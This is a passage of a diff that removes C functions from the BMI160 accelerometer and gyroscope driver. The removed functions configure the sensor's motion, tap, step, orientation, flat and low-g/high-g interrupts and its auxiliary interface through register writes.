Int_motion 0 and - * Int_motion 1 Address simultaneously */ - rslt = bmi160_set_regs(BMI160_INT_MOTION_0_ADDR, data_array, 2, dev); - } - - return rslt; -} - -/*! - * @brief This API configure necessary setting of any-motion interrupt. - */ -static int8_t config_any_motion_int_settg( - const struct bmi160_int_settg* int_config, - const struct bmi160_acc_any_mot_int_cfg* any_motion_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - - /* Configure Interrupt pins */ - rslt = set_intr_pin_config(int_config, dev); - if(rslt == BMI160_OK) { - rslt = disable_sig_motion_int(dev); - if(rslt == BMI160_OK) { - rslt = map_feature_interrupt(int_config, dev); - if(rslt == BMI160_OK) { - rslt = config_any_motion_src(any_motion_int_cfg, dev); - if(rslt == BMI160_OK) { - rslt = config_any_dur_threshold(any_motion_int_cfg, dev); - } - } - } - } - - return rslt; -} - -/*! - * @brief This API enable the data ready interrupt. - */ -static int8_t enable_data_ready_int(const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - - /* Enable data ready interrupt in Int Enable 1 register */ - rslt = bmi160_get_regs(BMI160_INT_ENABLE_1_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - temp = data & ~BMI160_DATA_RDY_INT_EN_MASK; - data = temp | ((1 << 4) & BMI160_DATA_RDY_INT_EN_MASK); - - /* Writing data to INT ENABLE 1 Address */ - rslt = bmi160_set_regs(BMI160_INT_ENABLE_1_ADDR, &data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API enables the no motion/slow motion interrupt. - */ -static int8_t enable_no_motion_int( - const struct bmi160_acc_no_motion_int_cfg* no_mot_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - - /* Enable no motion x, no motion y, no motion z - * in Int Enable 2 register */ - rslt = bmi160_get_regs(BMI160_INT_ENABLE_2_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - if(no_mot_int_cfg->no_motion_x == 1) { - temp = data & ~BMI160_NO_MOTION_X_INT_EN_MASK; - - /* Adding No_motion x axis */ - data = temp | (1 & BMI160_NO_MOTION_X_INT_EN_MASK); - } - - if(no_mot_int_cfg->no_motion_y == 1) { - temp = data & ~BMI160_NO_MOTION_Y_INT_EN_MASK; - - /* Adding No_motion x axis */ - data = temp | ((1 << 1) & BMI160_NO_MOTION_Y_INT_EN_MASK); - } - - if(no_mot_int_cfg->no_motion_z == 1) { - temp = data & ~BMI160_NO_MOTION_Z_INT_EN_MASK; - - /* Adding No_motion x axis */ - data = temp | ((1 << 2) & BMI160_NO_MOTION_Z_INT_EN_MASK); - } - - /* write data to Int Enable 2 register */ - rslt = bmi160_set_regs(BMI160_INT_ENABLE_2_ADDR, &data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API configure the interrupt PIN setting for - * no motion/slow motion interrupt. - */ -static int8_t config_no_motion_int_settg( - const struct bmi160_int_settg* int_config, - const struct bmi160_acc_no_motion_int_cfg* no_mot_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - - /* Configure Interrupt pins */ - rslt = set_intr_pin_config(int_config, dev); - if(rslt == BMI160_OK) { - rslt = map_feature_interrupt(int_config, dev); - if(rslt == BMI160_OK) { - rslt = config_no_motion_data_src(no_mot_int_cfg, dev); - if(rslt == BMI160_OK) { - rslt = config_no_motion_dur_thr(no_mot_int_cfg, dev); - } - } - } - - return rslt; -} - -/*! - * @brief This API configure the source of interrupt for no motion. - */ -static int8_t config_no_motion_data_src( - const struct bmi160_acc_no_motion_int_cfg* no_mot_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - - /* Configure Int data 1 register to add source of interrupt */ - rslt = bmi160_get_regs(BMI160_INT_DATA_1_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - temp = data & ~BMI160_MOTION_SRC_INT_MASK; - data = temp | ((no_mot_int_cfg->no_motion_src << 7) & BMI160_MOTION_SRC_INT_MASK); - - /* Write data to DATA 1 address */ - rslt = bmi160_set_regs(BMI160_INT_DATA_1_ADDR, &data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API configure the duration and threshold of - * no motion/slow motion interrupt along with selection of no/slow motion. - */ -static int8_t config_no_motion_dur_thr( - const struct bmi160_acc_no_motion_int_cfg* no_mot_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - uint8_t temp_1 = 0; - uint8_t reg_addr; - uint8_t data_array[2] = {0}; - - /* Configuring INT_MOTION register */ - reg_addr = BMI160_INT_MOTION_0_ADDR; - rslt = bmi160_get_regs(reg_addr, &data, 1, dev); - if(rslt == BMI160_OK) { - temp = data & ~BMI160_NO_MOTION_INT_DUR_MASK; - - /* Adding no_motion duration */ - data = temp | ((no_mot_int_cfg->no_motion_dur << 2) & BMI160_NO_MOTION_INT_DUR_MASK); - - /* Write data to NO_MOTION 0 address */ - rslt = bmi160_set_regs(reg_addr, &data, 1, dev); - if(rslt == BMI160_OK) { - reg_addr = BMI160_INT_MOTION_3_ADDR; - rslt = bmi160_get_regs(reg_addr, &data, 1, dev); - if(rslt == BMI160_OK) { - temp = data & ~BMI160_NO_MOTION_SEL_BIT_MASK; - - /* Adding no_motion_sel bit */ - temp_1 = (no_mot_int_cfg->no_motion_sel & BMI160_NO_MOTION_SEL_BIT_MASK); - data = (temp | temp_1); - data_array[1] = data; - - /* Adding no motion threshold */ - data_array[0] = no_mot_int_cfg->no_motion_thres; - reg_addr = BMI160_INT_MOTION_2_ADDR; - - /* writing data to INT_MOTION 2 and INT_MOTION 3 - * address simultaneously */ - rslt = bmi160_set_regs(reg_addr, data_array, 2, dev); - } - } - } - - return rslt; -} - -/*! - * @brief This API enables the sig-motion motion interrupt. - */ -static int8_t enable_sig_motion_int( - const struct bmi160_acc_sig_mot_int_cfg* sig_mot_int_cfg, - struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - - /* For significant motion,enable any motion x,any motion y, - * any motion z in Int Enable 0 register */ - rslt = bmi160_get_regs(BMI160_INT_ENABLE_0_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - if(sig_mot_int_cfg->sig_en == BMI160_ENABLE) { - temp = data & ~BMI160_SIG_MOTION_INT_EN_MASK; - data = temp | (7 & BMI160_SIG_MOTION_INT_EN_MASK); - - /* sig-motion feature selected*/ - dev->any_sig_sel = BMI160_SIG_MOTION_ENABLED; - } else { - data = data & ~BMI160_SIG_MOTION_INT_EN_MASK; - - /* neither any-motion feature nor sig-motion selected */ - dev->any_sig_sel = BMI160_BOTH_ANY_SIG_MOTION_DISABLED; - } - - /* write data to Int Enable 0 register */ - rslt = bmi160_set_regs(BMI160_INT_ENABLE_0_ADDR, &data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API configure the interrupt PIN setting for - * significant motion interrupt. - */ -static int8_t config_sig_motion_int_settg( - const struct bmi160_int_settg* int_config, - const struct bmi160_acc_sig_mot_int_cfg* sig_mot_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - - /* Configure Interrupt pins */ - rslt = set_intr_pin_config(int_config, dev); - if(rslt == BMI160_OK) { - rslt = map_feature_interrupt(int_config, dev); - if(rslt == BMI160_OK) { - rslt = config_sig_motion_data_src(sig_mot_int_cfg, dev); - if(rslt == BMI160_OK) { - rslt = config_sig_dur_threshold(sig_mot_int_cfg, dev); - } - } - } - - return rslt; -} - -/*! - * @brief This API configure the source of data(filter & pre-filter) - * for sig motion interrupt. - */ -static int8_t config_sig_motion_data_src( - const struct bmi160_acc_sig_mot_int_cfg* sig_mot_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - - /* Configure Int data 1 register to add source of interrupt */ - rslt = bmi160_get_regs(BMI160_INT_DATA_1_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - temp = data & ~BMI160_MOTION_SRC_INT_MASK; - data = temp | ((sig_mot_int_cfg->sig_data_src << 7) & BMI160_MOTION_SRC_INT_MASK); - - /* Write data to DATA 1 address */ - rslt = bmi160_set_regs(BMI160_INT_DATA_1_ADDR, &data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API configure the threshold, skip and proof time of - * sig motion interrupt. - */ -static int8_t config_sig_dur_threshold( - const struct bmi160_acc_sig_mot_int_cfg* sig_mot_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data; - uint8_t temp = 0; - - /* Configuring INT_MOTION registers */ - - /* Write significant motion threshold. - * This threshold is same as any motion threshold */ - data = sig_mot_int_cfg->sig_mot_thres; - - /* Write data to INT_MOTION 1 address */ - rslt = bmi160_set_regs(BMI160_INT_MOTION_1_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - rslt = bmi160_get_regs(BMI160_INT_MOTION_3_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - temp = data & ~BMI160_SIG_MOTION_SKIP_MASK; - - /* adding skip time of sig_motion interrupt*/ - data = temp | ((sig_mot_int_cfg->sig_mot_skip << 2) & BMI160_SIG_MOTION_SKIP_MASK); - temp = data & ~BMI160_SIG_MOTION_PROOF_MASK; - - /* adding proof time of sig_motion interrupt */ - data = temp | ((sig_mot_int_cfg->sig_mot_proof << 4) & BMI160_SIG_MOTION_PROOF_MASK); - - /* configure the int_sig_mot_sel bit to select - * significant motion interrupt */ - temp = data & ~BMI160_SIG_MOTION_SEL_MASK; - data = temp | ((sig_mot_int_cfg->sig_en << 1) & BMI160_SIG_MOTION_SEL_MASK); - rslt = bmi160_set_regs(BMI160_INT_MOTION_3_ADDR, &data, 1, dev); - } - } - - return rslt; -} - -/*! - * @brief This API enables the step detector interrupt. - */ -static int8_t enable_step_detect_int( - const struct bmi160_acc_step_detect_int_cfg* step_detect_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - - /* Enable data ready interrupt in Int Enable 2 register */ - rslt = bmi160_get_regs(BMI160_INT_ENABLE_2_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - temp = data & ~BMI160_STEP_DETECT_INT_EN_MASK; - data = temp | - ((step_detect_int_cfg->step_detector_en << 3) & BMI160_STEP_DETECT_INT_EN_MASK); - - /* Writing data to INT ENABLE 2 Address */ - rslt = bmi160_set_regs(BMI160_INT_ENABLE_2_ADDR, &data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API configure the step detector parameter. - */ -static int8_t config_step_detect( - const struct bmi160_acc_step_detect_int_cfg* step_detect_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t temp = 0; - uint8_t data_array[2] = {0}; - - if(step_detect_int_cfg->step_detector_mode == BMI160_STEP_DETECT_NORMAL) { - /* Normal mode setting */ - data_array[0] = 0x15; - data_array[1] = 0x03; - } else if(step_detect_int_cfg->step_detector_mode == BMI160_STEP_DETECT_SENSITIVE) { - /* Sensitive mode setting */ - data_array[0] = 0x2D; - data_array[1] = 0x00; - } else if(step_detect_int_cfg->step_detector_mode == BMI160_STEP_DETECT_ROBUST) { - /* Robust mode setting */ - data_array[0] = 0x1D; - data_array[1] = 0x07; - } else if(step_detect_int_cfg->step_detector_mode == BMI160_STEP_DETECT_USER_DEFINE) { - /* Non recommended User defined setting */ - /* Configuring STEP_CONFIG register */ - rslt = bmi160_get_regs(BMI160_INT_STEP_CONFIG_0_ADDR, &data_array[0], 2, dev); - if(rslt == BMI160_OK) { - temp = data_array[0] & ~BMI160_STEP_DETECT_MIN_THRES_MASK; - - /* Adding min_threshold */ - data_array[0] = temp | ((step_detect_int_cfg->min_threshold << 3) & - BMI160_STEP_DETECT_MIN_THRES_MASK); - temp = data_array[0] & ~BMI160_STEP_DETECT_STEPTIME_MIN_MASK; - - /* Adding steptime_min */ - data_array[0] = temp | ((step_detect_int_cfg->steptime_min) & - BMI160_STEP_DETECT_STEPTIME_MIN_MASK); - temp = data_array[1] & ~BMI160_STEP_MIN_BUF_MASK; - - /* Adding steptime_min */ - data_array[1] = temp | - ((step_detect_int_cfg->step_min_buf) & BMI160_STEP_MIN_BUF_MASK); - } - } - - /* Write data to STEP_CONFIG register */ - rslt = bmi160_set_regs(BMI160_INT_STEP_CONFIG_0_ADDR, data_array, 2, dev); - - return rslt; -} - -/*! - * @brief This API enables the single/double tap interrupt. - */ -static int8_t enable_tap_int( - const struct bmi160_int_settg* int_config, - const struct bmi160_acc_tap_int_cfg* tap_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - - /* Enable single tap or double tap interrupt in Int Enable 0 register */ - rslt = bmi160_get_regs(BMI160_INT_ENABLE_0_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - if(int_config->int_type == BMI160_ACC_SINGLE_TAP_INT) { - temp = data & ~BMI160_SINGLE_TAP_INT_EN_MASK; - data = temp | ((tap_int_cfg->tap_en << 5) & BMI160_SINGLE_TAP_INT_EN_MASK); - } else { - temp = data & ~BMI160_DOUBLE_TAP_INT_EN_MASK; - data = temp | ((tap_int_cfg->tap_en << 4) & BMI160_DOUBLE_TAP_INT_EN_MASK); - } - - /* Write to Enable 0 Address */ - rslt = bmi160_set_regs(BMI160_INT_ENABLE_0_ADDR, &data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API configure the interrupt PIN setting for - * tap interrupt. - */ -static int8_t config_tap_int_settg( - const struct bmi160_int_settg* int_config, - const struct bmi160_acc_tap_int_cfg* tap_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - - /* Configure Interrupt pins */ - rslt = set_intr_pin_config(int_config, dev); - if(rslt == BMI160_OK) { - rslt = map_feature_interrupt(int_config, dev); - if(rslt == BMI160_OK) { - rslt = config_tap_data_src(tap_int_cfg, dev); - if(rslt == BMI160_OK) { - rslt = config_tap_param(int_config, tap_int_cfg, dev); - } - } - } - - return rslt; -} - -/*! - * @brief This API configure the source of data(filter & pre-filter) - * for tap interrupt. - */ -static int8_t config_tap_data_src( - const struct bmi160_acc_tap_int_cfg* tap_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - - /* Configure Int data 0 register to add source of interrupt */ - rslt = bmi160_get_regs(BMI160_INT_DATA_0_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - temp = data & ~BMI160_TAP_SRC_INT_MASK; - data = temp | ((tap_int_cfg->tap_data_src << 3) & BMI160_TAP_SRC_INT_MASK); - - /* Write data to Data 0 address */ - rslt = bmi160_set_regs(BMI160_INT_DATA_0_ADDR, &data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API configure the parameters of tap interrupt. - * Threshold, quite, shock, and duration. - */ -static int8_t config_tap_param( - const struct bmi160_int_settg* int_config, - const struct bmi160_acc_tap_int_cfg* tap_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t temp = 0; - uint8_t data = 0; - uint8_t data_array[2] = {0}; - uint8_t count = 0; - uint8_t dur, shock, quiet, thres; - - /* Configure tap 0 register for tap shock,tap quiet duration - * in case of single tap interrupt */ - rslt = bmi160_get_regs(BMI160_INT_TAP_0_ADDR, data_array, 2, dev); - if(rslt == BMI160_OK) { - data = data_array[count]; - if(int_config->int_type == BMI160_ACC_DOUBLE_TAP_INT) { - dur = (uint8_t)tap_int_cfg->tap_dur; - temp = (data & ~BMI160_TAP_DUR_MASK); - - /* Add tap duration data in case of - * double tap interrupt */ - data = temp | (dur & BMI160_TAP_DUR_MASK); - } - - shock = (uint8_t)tap_int_cfg->tap_shock; - temp = data & ~BMI160_TAP_SHOCK_DUR_MASK; - data = temp | ((shock << 6) & BMI160_TAP_SHOCK_DUR_MASK); - quiet = (uint8_t)tap_int_cfg->tap_quiet; - temp = data & ~BMI160_TAP_QUIET_DUR_MASK; - data = temp | ((quiet << 7) & BMI160_TAP_QUIET_DUR_MASK); - data_array[count++] = data; - data = data_array[count]; - thres = (uint8_t)tap_int_cfg->tap_thr; - temp = data & ~BMI160_TAP_THRES_MASK; - data = temp | (thres & BMI160_TAP_THRES_MASK); - data_array[count++] = data; - - /* TAP 0 and TAP 1 address lie consecutively, - * hence writing data to respective registers at one go */ - - /* Writing to Tap 0 and Tap 1 Address simultaneously */ - rslt = bmi160_set_regs(BMI160_INT_TAP_0_ADDR, data_array, count, dev); - } - - return rslt; -} - -/*! - * @brief This API configure the secondary interface. - */ -static int8_t config_sec_if(const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t if_conf = 0; - uint8_t cmd = BMI160_AUX_NORMAL_MODE; - - /* set the aux power mode to normal*/ - rslt = bmi160_set_regs(BMI160_COMMAND_REG_ADDR, &cmd, 1, dev); - if(rslt == BMI160_OK) { - /* 0.5ms delay - refer datasheet table 24*/ - dev->delay_ms(1); - rslt = bmi160_get_regs(BMI160_IF_CONF_ADDR, &if_conf, 1, dev); - if_conf |= (uint8_t)(1 << 5); - if(rslt == BMI160_OK) { - /*enable the secondary interface also*/ - rslt = bmi160_set_regs(BMI160_IF_CONF_ADDR, &if_conf, 1, dev); - } - } - - return rslt; -} - -/*! - * @brief This API configure the ODR of the auxiliary sensor. - */ -static int8_t config_aux_odr(const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t aux_odr; - - rslt = bmi160_get_regs(BMI160_AUX_ODR_ADDR, &aux_odr, 1, dev); - if(rslt == BMI160_OK) { - aux_odr = (uint8_t)(dev->aux_cfg.aux_odr); - - /* Set the secondary interface ODR - * i.e polling rate of secondary sensor */ - rslt = bmi160_set_regs(BMI160_AUX_ODR_ADDR, &aux_odr, 1, dev); - dev->delay_ms(BMI160_AUX_COM_DELAY); - } - - return rslt; -} - -/*! - * @brief This API maps the actual burst read length set by user. - */ -static int8_t map_read_len(uint16_t* len, const struct bmi160_dev* dev) { - int8_t rslt = BMI160_OK; - - switch(dev->aux_cfg.aux_rd_burst_len) { - case BMI160_AUX_READ_LEN_0: - *len = 1; - break; - case BMI160_AUX_READ_LEN_1: - *len = 2; - break; - case BMI160_AUX_READ_LEN_2: - *len = 6; - break; - case BMI160_AUX_READ_LEN_3: - *len = 8; - break; - default: - rslt = BMI160_E_INVALID_INPUT; - break; - } - - return rslt; -} - -/*! - * @brief This API configure the settings of auxiliary sensor. - */ -static int8_t config_aux_settg(const struct bmi160_dev* dev) { - int8_t rslt; - - rslt = config_sec_if(dev); - if(rslt == BMI160_OK) { - /* Configures the auxiliary interface settings */ - rslt = bmi160_config_aux_mode(dev); - } - - return rslt; -} - -/*! - * @brief This API extract the read data from auxiliary sensor. - */ -static int8_t extract_aux_read( - uint16_t map_len, - uint8_t reg_addr, - uint8_t* aux_data, - uint16_t len, - const struct bmi160_dev* dev) { - int8_t rslt = BMI160_OK; - uint8_t data[8] = { - 0, - }; - uint8_t read_addr = BMI160_AUX_DATA_ADDR; - uint8_t count = 0; - uint8_t read_count; - uint8_t read_len = (uint8_t)map_len; - - for(; count < len;) { - /* set address to read */ - rslt = bmi160_set_regs(BMI160_AUX_IF_2_ADDR, ®_addr, 1, dev); - dev->delay_ms(BMI160_AUX_COM_DELAY); - if(rslt == BMI160_OK) { - rslt = bmi160_get_regs(read_addr, data, map_len, dev); - if(rslt == BMI160_OK) { - read_count = 0; - - /* if read len is less the burst read len - * mention by user*/ - if(len < map_len) { - read_len = (uint8_t)len; - } else if((len - count) < map_len) { - read_len = (uint8_t)(len - count); - } - - for(; read_count < read_len; read_count++) { - aux_data[count + read_count] = data[read_count]; - } - - reg_addr += (uint8_t)map_len; - count += (uint8_t)map_len; - } else { - rslt = BMI160_E_COM_FAIL; - break; - } - } - } - - return rslt; -} - -/*! - * @brief This API enables the orient interrupt. - */ -static int8_t enable_orient_int( - const struct bmi160_acc_orient_int_cfg* orient_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - - /* Enable data ready interrupt in Int Enable 0 register */ - rslt = bmi160_get_regs(BMI160_INT_ENABLE_0_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - temp = data & ~BMI160_ORIENT_INT_EN_MASK; - data = temp | ((orient_int_cfg->orient_en << 6) & BMI160_ORIENT_INT_EN_MASK); - - /* write data to Int Enable 0 register */ - rslt = bmi160_set_regs(BMI160_INT_ENABLE_0_ADDR, &data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API configure the necessary setting of orientation interrupt. - */ -static int8_t config_orient_int_settg( - const struct bmi160_acc_orient_int_cfg* orient_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - uint8_t data_array[2] = {0, 0}; - - /* Configuring INT_ORIENT registers */ - rslt = bmi160_get_regs(BMI160_INT_ORIENT_0_ADDR, data_array, 2, dev); - if(rslt == BMI160_OK) { - data = data_array[0]; - temp = data & ~BMI160_ORIENT_MODE_MASK; - - /* Adding Orientation mode */ - data = temp | ((orient_int_cfg->orient_mode) & BMI160_ORIENT_MODE_MASK); - temp = data & ~BMI160_ORIENT_BLOCK_MASK; - - /* Adding Orientation blocking */ - data = temp | ((orient_int_cfg->orient_blocking << 2) & BMI160_ORIENT_BLOCK_MASK); - temp = data & ~BMI160_ORIENT_HYST_MASK; - - /* Adding Orientation hysteresis */ - data = temp | ((orient_int_cfg->orient_hyst << 4) & BMI160_ORIENT_HYST_MASK); - data_array[0] = data; - data = data_array[1]; - temp = data & ~BMI160_ORIENT_THETA_MASK; - - /* Adding Orientation threshold */ - data = temp | ((orient_int_cfg->orient_theta) & BMI160_ORIENT_THETA_MASK); - temp = data & ~BMI160_ORIENT_UD_ENABLE; - - /* Adding Orient_ud_en */ - data = temp | ((orient_int_cfg->orient_ud_en << 6) & BMI160_ORIENT_UD_ENABLE); - temp = data & ~BMI160_AXES_EN_MASK; - - /* Adding axes_en */ - data = temp | ((orient_int_cfg->axes_ex << 7) & BMI160_AXES_EN_MASK); - data_array[1] = data; - - /* Writing data to INT_ORIENT 0 and INT_ORIENT 1 - * registers simultaneously */ - rslt = bmi160_set_regs(BMI160_INT_ORIENT_0_ADDR, data_array, 2, dev); - } - - return rslt; -} - -/*! - * @brief This API enables the flat interrupt. - */ -static int8_t enable_flat_int( - const struct bmi160_acc_flat_detect_int_cfg* flat_int, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - - /* Enable flat interrupt in Int Enable 0 register */ - rslt = bmi160_get_regs(BMI160_INT_ENABLE_0_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - temp = data & ~BMI160_FLAT_INT_EN_MASK; - data = temp | ((flat_int->flat_en << 7) & BMI160_FLAT_INT_EN_MASK); - - /* write data to Int Enable 0 register */ - rslt = bmi160_set_regs(BMI160_INT_ENABLE_0_ADDR, &data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API configure the necessary setting of flat interrupt. - */ -static int8_t config_flat_int_settg( - const struct bmi160_acc_flat_detect_int_cfg* flat_int, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - uint8_t data_array[2] = {0, 0}; - - /* Configuring INT_FLAT register */ - rslt = bmi160_get_regs(BMI160_INT_FLAT_0_ADDR, data_array, 2, dev); - if(rslt == BMI160_OK) { - data = data_array[0]; - temp = data & ~BMI160_FLAT_THRES_MASK; - - /* Adding flat theta */ - data = temp | ((flat_int->flat_theta) & BMI160_FLAT_THRES_MASK); - data_array[0] = data; - data = data_array[1]; - temp = data & ~BMI160_FLAT_HOLD_TIME_MASK; - - /* Adding flat hold time */ - data = temp | ((flat_int->flat_hold_time << 4) & BMI160_FLAT_HOLD_TIME_MASK); - temp = data & ~BMI160_FLAT_HYST_MASK; - - /* Adding flat hysteresis */ - data = temp | ((flat_int->flat_hy) & BMI160_FLAT_HYST_MASK); - data_array[1] = data; - - /* Writing data to INT_FLAT 0 and INT_FLAT 1 - * registers simultaneously */ - rslt = bmi160_set_regs(BMI160_INT_FLAT_0_ADDR, data_array, 2, dev); - } - - return rslt; -} - -/*! - * @brief This API enables the Low-g interrupt. - */ -static int8_t enable_low_g_int( - const struct bmi160_acc_low_g_int_cfg* low_g_int, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - - /* Enable low-g interrupt in Int Enable 1 register */ - rslt = bmi160_get_regs(BMI160_INT_ENABLE_1_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - temp = data & ~BMI160_LOW_G_INT_EN_MASK; - data = temp | ((low_g_int->low_en << 3) & BMI160_LOW_G_INT_EN_MASK); - - /* write data to Int Enable 0 register */ - rslt = bmi160_set_regs(BMI160_INT_ENABLE_1_ADDR, &data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API configure the source of data(filter & pre-filter) - * for low-g interrupt. - */ -static int8_t config_low_g_data_src( - const struct bmi160_acc_low_g_int_cfg* low_g_int, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - - /* Configure Int data 0 register to add source of interrupt */ - rslt = bmi160_get_regs(BMI160_INT_DATA_0_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - temp = data & ~BMI160_LOW_HIGH_SRC_INT_MASK; - data = temp | ((low_g_int->low_data_src << 7) & BMI160_LOW_HIGH_SRC_INT_MASK); - - /* Write data to Data 0 address */ - rslt = bmi160_set_regs(BMI160_INT_DATA_0_ADDR, &data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API configure the necessary setting of low-g interrupt. - */ -static int8_t config_low_g_int_settg( - const struct bmi160_acc_low_g_int_cfg* low_g_int, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t temp = 0; - uint8_t data_array[3] = {0, 0, 0}; - - /* Configuring INT_LOWHIGH register for low-g interrupt */ - rslt = bmi160_get_regs(BMI160_INT_LOWHIGH_2_ADDR, &data_array[2], 1, dev); - if(rslt == BMI160_OK) { - temp = data_array[2] & ~BMI160_LOW_G_HYST_MASK; - - /* Adding low-g hysteresis */ - data_array[2] = temp | (low_g_int->low_hyst & BMI160_LOW_G_HYST_MASK); - temp = data_array[2] & ~BMI160_LOW_G_LOW_MODE_MASK; - - /* Adding low-mode */ - data_array[2] = temp | ((low_g_int->low_mode << 2) & BMI160_LOW_G_LOW_MODE_MASK); - - /* Adding low-g threshold */ - data_array[1] = low_g_int->low_thres; - - /* Adding low-g interrupt delay */ - data_array[0] = low_g_int->low_dur; - - /* Writing data to INT_LOWHIGH 0,1,2 registers simultaneously*/ - rslt = bmi160_set_regs(BMI160_INT_LOWHIGH_0_ADDR, data_array, 3, dev); - } - - return rslt; -} - -/*! - * @brief This API enables the high-g interrupt. - */ -static int8_t enable_high_g_int( - const struct bmi160_acc_high_g_int_cfg* high_g_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - - /* Enable low-g interrupt in Int Enable 1 register */ - rslt = bmi160_get_regs(BMI160_INT_ENABLE_1_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - /* Adding high-g X-axis */ - temp = data & ~BMI160_HIGH_G_X_INT_EN_MASK; - data = temp | (high_g_int_cfg->high_g_x & BMI160_HIGH_G_X_INT_EN_MASK); - - /* Adding high-g Y-axis */ - temp = data & ~BMI160_HIGH_G_Y_INT_EN_MASK; - data = temp | ((high_g_int_cfg->high_g_y << 1) & BMI160_HIGH_G_Y_INT_EN_MASK); - - /* Adding high-g Z-axis */ - temp = data & ~BMI160_HIGH_G_Z_INT_EN_MASK; - data = temp | ((high_g_int_cfg->high_g_z << 2) & BMI160_HIGH_G_Z_INT_EN_MASK); - - /* write data to Int Enable 0 register */ - rslt = bmi160_set_regs(BMI160_INT_ENABLE_1_ADDR, &data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API configure the source of data(filter & pre-filter) - * for high-g interrupt. - */ -static int8_t config_high_g_data_src( - const struct bmi160_acc_high_g_int_cfg* high_g_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - - /* Configure Int data 0 register to add source of interrupt */ - rslt = bmi160_get_regs(BMI160_INT_DATA_0_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - temp = data & ~BMI160_LOW_HIGH_SRC_INT_MASK; - data = temp | ((high_g_int_cfg->high_data_src << 7) & BMI160_LOW_HIGH_SRC_INT_MASK); - - /* Write data to Data 0 address */ - rslt = bmi160_set_regs(BMI160_INT_DATA_0_ADDR, &data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API configure the necessary setting of high-g interrupt. - */ -static int8_t config_high_g_int_settg( - const struct bmi160_acc_high_g_int_cfg* high_g_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t temp = 0; - uint8_t data_array[3] = {0, 0, 0}; - - rslt = bmi160_get_regs(BMI160_INT_LOWHIGH_2_ADDR, &data_array[0], 1, dev); - if(rslt == BMI160_OK) { - temp = data_array[0] & ~BMI160_HIGH_G_HYST_MASK; - - /* Adding high-g hysteresis */ - data_array[0] = temp | ((high_g_int_cfg->high_hy << 6) & BMI160_HIGH_G_HYST_MASK); - - /* Adding high-g duration */ - data_array[1] = high_g_int_cfg->high_dur; - - /* Adding high-g threshold */ - data_array[2] = high_g_int_cfg->high_thres; - rslt = bmi160_set_regs(BMI160_INT_LOWHIGH_2_ADDR, data_array, 3, dev); - } - - return rslt; -} - -/*! - * @brief This API configure the behavioural setting of interrupt pin. - */ -static int8_t - config_int_out_ctrl(const struct bmi160_int_settg* int_config, const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t temp = 0; - uint8_t data = 0; - - /* Configuration of output interrupt signals on pins INT1 and INT2 are - * done in 